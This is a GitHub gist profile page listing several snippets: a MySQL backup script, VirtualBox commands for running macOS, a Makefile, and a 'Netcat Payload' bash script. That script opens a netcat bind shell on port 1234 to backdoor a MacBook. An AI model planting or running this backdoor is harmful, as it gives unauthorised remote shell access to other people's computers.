Skip to content

Instantly share code, notes, and snippets.

View fredsiika's full-sized avatar
🤞
Refactoring

Fred Siika fredsiika

🤞
Refactoring
View GitHub Profile
@fredsiika
fredsiika / payload
Created November 30, 2018 14:52
Netcat Payload: connect to the backdoored MacBook on a shared Wi-Fi network. source: https://null-byte.wonderhowto.com/how-to/hacking-macos-configure-backdoor-anyones-macbook-0184637/
#!/bin/bash
n=$(ps aux | grep -o [1]234)
if [[ $n = "" ]]; then
mkfifo f
nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1
fi
@fredsiika
fredsiika / mysql-backup.sh
Last active June 12, 2019 09:09
a simple mysql database backup script.
#!/bin/sh
PATH=/usr/local/bin:/usr/local/sbin:~/bin:/usr/bin:/bin:/usr/sbin:/sbin
#----------------------------------------------------
# a simple mysql database backup script.
# version 2, updated March 26, 2011./
# copyright 2011 alvin alexander, http://devdaily.com
#----------------------------------------------------
# This work is licensed under a Creative Commons
# Attribution-ShareAlike 3.0 Unported License;
@fredsiika
fredsiika / code.cmd
Created October 20, 2018 00:21
Installing m=MacOS High Sierra 10.13 on Windows 10
# Close your VirtualBox before you run these commands.
# Replace "MacOS" with the name of your virtual machine name, then copy and paste this code to Command Prompt.
Code for VirtualBox 5.x
cd "C:\Program Files\Oracle\VirtualBox\"
VBoxManage.exe modifyvm "MacOS" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple"
@fredsiika
fredsiika / Makefile
Created October 3, 2018 03:07
Makefile day10 ex00
NAME = libft.a
SRC_DIR := srcs/
INC_DIR := includes/
CFLAGS := -Wall -Werror -Wextra
FILES := ft_putchar.c \
ft_putstr.c\
ft_strcmp.c \